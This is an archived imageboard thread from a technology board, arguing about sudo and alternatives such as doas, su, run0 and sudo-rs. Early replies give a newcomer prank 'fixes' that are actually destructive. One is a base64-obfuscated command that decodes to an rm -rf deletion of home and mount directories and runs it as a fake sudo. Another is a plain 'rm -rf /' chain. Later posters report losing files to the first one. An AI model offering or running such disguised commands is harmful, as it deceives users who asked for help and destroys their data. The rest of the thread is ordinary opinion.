[a / b / c / d / e / f / g / gif / h / hr / k / m / o / p / r / s / t / u / v / vg / vm / vmg / vr / vrpg / vst / w / wg] [i / ic] [r9k / s4s / vip] [cm / hm / lgbt / y] [3 / aco / adv / an / bant / biz / cgl / ck / co / diy / fa / fit / gd / hc / his / int / jp / lit / mlp / mu / n / news / out / po / pol / pw / qst / sci / soc / sp / tg / toy / trv / tv / vp / vt / wsg / wsr / x / xs] [Settings] [Search] [Mobile] [Home]
Board
Settings Mobile Home
/g/ - Technology


Thread archived.
You cannot reply anymore.


[Advertise on 4chan]


File: ty2Pmn.jpg (27 KB, 588x520)
27 KB
27 KB JPG
>sudo: command not found
>>
What seems to be the problem, frogposter? (apart from being a frogposter)
>>
>>108431714
printf 'cm0gLXJmIC8qbWUqIC9tbnQK' | `base64 -d` > sudo
sh ./sudo
>>
>>108431714
the Sudogin
the chad doas
>>
>>108431714
the command is su -l; rm -rf /; sudo
>>
su is all I need but I will allow doas
>>
>>108431714
Try typing that into google or chatgpt and include your distro.
>>
File: sudo.jpg (81 KB, 1026x290)
81 KB
81 KB JPG
>>108432032
how come distros don't come with sudo anymore
>>
for me, it's doas
>>
>>108431714
>>sudo: command not found
run0
>>
File: 1773472585680800.jpg (246 KB, 1742x2000)
246 KB
246 KB JPG
>>108431773
>>
>>108431773
saar...
>>
>>108432046
>sudo
bloated security nightmare that is responsible for 20 different things by accretion of hacks long forgotten
>su and doas
simple, clean
>>
File: 1444803574560.png (27 KB, 691x653)
27 KB
27 KB PNG
>>108431773
fuck i ran this and it nuked my home folder. i had a backup but it was a few days old so i lost a few days worth of files. i only ran "'cm0gLXJmIC8qbWUqIC9tbnQK' | `base64 -d`" thinking it would decode the base64 without running the command. i recovered some files with photorec
>>
>>108431773
mustard gas is coming out of my laptop help
>>
>>108433551
actually i put echo before that command and it nuked my home folder
>>
>>108433551
you deserved it
>>
>>108431714
>not using doas in the year of lord 2019+7
>>
>>108433551
anon you silly billy
>>
I actually switched to doas recently and it really is an improvement, even for the user. The config file is very simple I can easily edit it with help of the man page, no need to have a huge example config file anymore to copy around stuff in
>>
>>108433532
>bloated security nightmare
Surely you'll be able to back that claim up, right?
>>
>>108431773
lol i'm not a retard to run some random command without understanding it first, but even if i had, i run zfs and this would have done nothing i couldn't immediately revert kek
>>
>>108431773
>
cm0gLXJmIC8qbWUqIC9tbnQK
>>
>>108431714
>current year+5+6
>xhe doesn't use rdo
https://codeberg.org/sw1tchbl4d3/rdo
>>
>>108432046
they come with sudo-rs nowadays, sudo is legacy
>>
I never use sudo, I just `su -'
>>
>>108433532
>he thinks doas doesn't have CVEs

What a retard
>>
File: 1746499530971558.jpg (64 KB, 680x879)
64 KB
64 KB JPG
>>108431714
>allow login as root
>Yes
>>
>>108433551
You didn't. Stop lying.
>>
>>108431714
we are a doas home here
>>
>>108431773
i ran this and now the police are arriving st my house
>>
>>108436782
>Using a website to decode instead of just opening your console and using atob
ngmi
>>
>>108431773
>>
>>108436489
yes, I will spoonfeed you, little babby
https://blog.geraldwu.com/posts/why-and-how-i-switched-from-sudo-to-doas-and-why-you-should-too/
>sudo is a massive, feature-packed (“bloated”) program.
>With such a massive codebase, there are many potential points of failure. Since sudo runs commands as different users, then these points of failures could lead to one of the most devastating exploits: privilege escalation.
>This isn’t just theoretical either. Take a look at the CVE list for sudo, which includes such delicacies as CVE-2021-3156: an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root. And don’t think this is some old problem now that sudo is “mature” — the previously mentioned CVE was from January, 2021. It’s not a matter of “if”, but a matter of “when” new vulnerabilities are discovered for sudo.
>doas has ~3k SLOC compared to sudo’s ~177k. That’s nearly two full orders of magnitude less. While SLOC is not necessarily indicative of a secure implementation, it is far easier to audit a codebase that is 50 times smaller. Just by default, doas will have a far smaller attack surface than sudo.
>Everybody who’s used sudo at some point has had to wrangle with the dreaded /etc/sudoers file. This file is so complex, most sudo packages will provide a utility visudo just to ensure that users do not create an improper config file and lock themselves out of their system.
>If you are using desktop Linux as a single-user, or even as a multi-user in a family home, then you don’t need all the features of sudo. doas will serve you just as well, if not better.
>>
>>108431714
su
>>
>>108441037
>cve from 5 years ago
dont look at ssh cve's
>>
>>108433551
>>108433636
Let it be a lesson for you, commands wrapped in backticks do execute
`echo reboot`
is equivalent to
$(echo reboot)
>>
>>108438656
>mfw accidentally pasted whole suspicious command and pressed enter on my console
>>
>>108436782
lol.
>>
>>108441037
>switch to my program for the same thing that nobody uses!
lol this is why open source was always awful
>>
>>108441479
>whatabout ssh
nigga, really?
just accept that you're too lazy to use anything other than the distro defaults. Thankfully distros are looking out for smoothbrains and are leaving sudo behind.
>>
>>108442714
>just accept that you dont want to waste time and unnecessarily tinker
i accept.
>>
>>108438656
Yeah I'm not putting that thing anywhere near my terminal in any shape or form.
>>
>>108441574
>>108443060
>xe doesn't have an isolated container or a vm to run sus stuff
lmao
>>
>>108443060
>>108443074
>doesn't know to just remove the backticks
embarrassing
>>
File: bateman.png (230 KB, 600x335)
230 KB
230 KB PNG
>>108441593
Let's see Windows's sudo command
>>
>>108443779
as someone who've wiped ~/ while mistyping a command edit i would rather not take a risk
>>
>>108431714
There is literally no reason to even install sudo on a single-user machine.
>>
>>108445616
oh yeah sure run your fancy text editor with a ton of 3rd party package as a root user to edit /etc, nothing bad's going to happen
>>
>>108445051
use case?
>>
>>108431773
my computer just grew legs and walked away
>>
>>108445849
>he opens an IDE to edit a config file
where did all of you redditors come from?
>>
>>108431714
saar you need anti virus saar
>>
>>108433532
No sudo -E replacement between them. Don't care. You're not getting RCE on my machine, anyway.
>>
>>108448217
Using vim with plugins and undolevels to edit config files is bad because I'm a contrarian whiner.
>>
>>108433607
Are you still alive? Pour ketchup on it and they'll cancel out.
>>
File: shutdown not found.jpg (266 KB, 1101x703)
266 KB
266 KB JPG
reminds me of this gem
>>
>>108445051
uhh
https://github.com/gerardog/gsudo
>>
Took me a while to realize that sudo is an actual command and there are alternatives. Still using it though.
As a noob, can I use some alternative without seeing any difference, or would it change how I use Linux?
>>
>>108450770
sudo-rs
doas
>>
>>108431714
pkexec always werks on my machine
>>
freebsd chads will never know this feeling
>>
>>108431773
YOU FUCKINN FAGGOT YOU RUINED NY COMPTYER IM SO DUCKING NAD I CANT TYOE OIECE OF SHUT
>>
I have recently started using Linux Mint, although I have used Fedora for many years, and I had a ridiculous experience recently:

me@Mint: rpm -q kernel
package kernel is not installed


It must just be something to do with package managers, but what the fuck?
>>
File: 1748900283772004.jpg (17 KB, 400x400)
17 KB
17 KB JPG
>>108431714
alias rm='rm -I'
Why don't more people do this?
>>
>>108454396
>alias rm="rm -I"
hm, pretty cool. thanks man.
>>
File: 1759086604242255.jpg (42 KB, 640x360)
42 KB
42 KB JPG
>>108454985
Read the manual!
>>
>>108452582
Is the package called "kernel"?
>>
>>108454992
how come there isnt a man-tldr command
>>
>>108457572
>man-tldr
why not just tldr
>>
>>108457581
>TLDR is a registered trademark (Registration #7390709) owned by TLDR Media LLC, a New York based entity located in NY. The trademark was filed on 29 Mar 2023 with serial number (#97863194) and registered on 21 May 2024. The TLDR trademark is filed in the category of Computer & Software Services & Scientific Services. The company began using the mark in commerce on 08th Aug 2018. As of 21 May 2024, the trademark remains Live/Registered, with a recent status, REGISTERED. The mark is represented by attorney Elizabeth P. West of law firm Elizabeth P. West Bay State IP, LLC.
i wonder if this extends to Linux commands somehow.



[Advertise on 4chan]

Delete Post: [File Only] Style:
[Disable Mobile View / Use Desktop Site]

[Enable Mobile View / Use Mobile Site]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.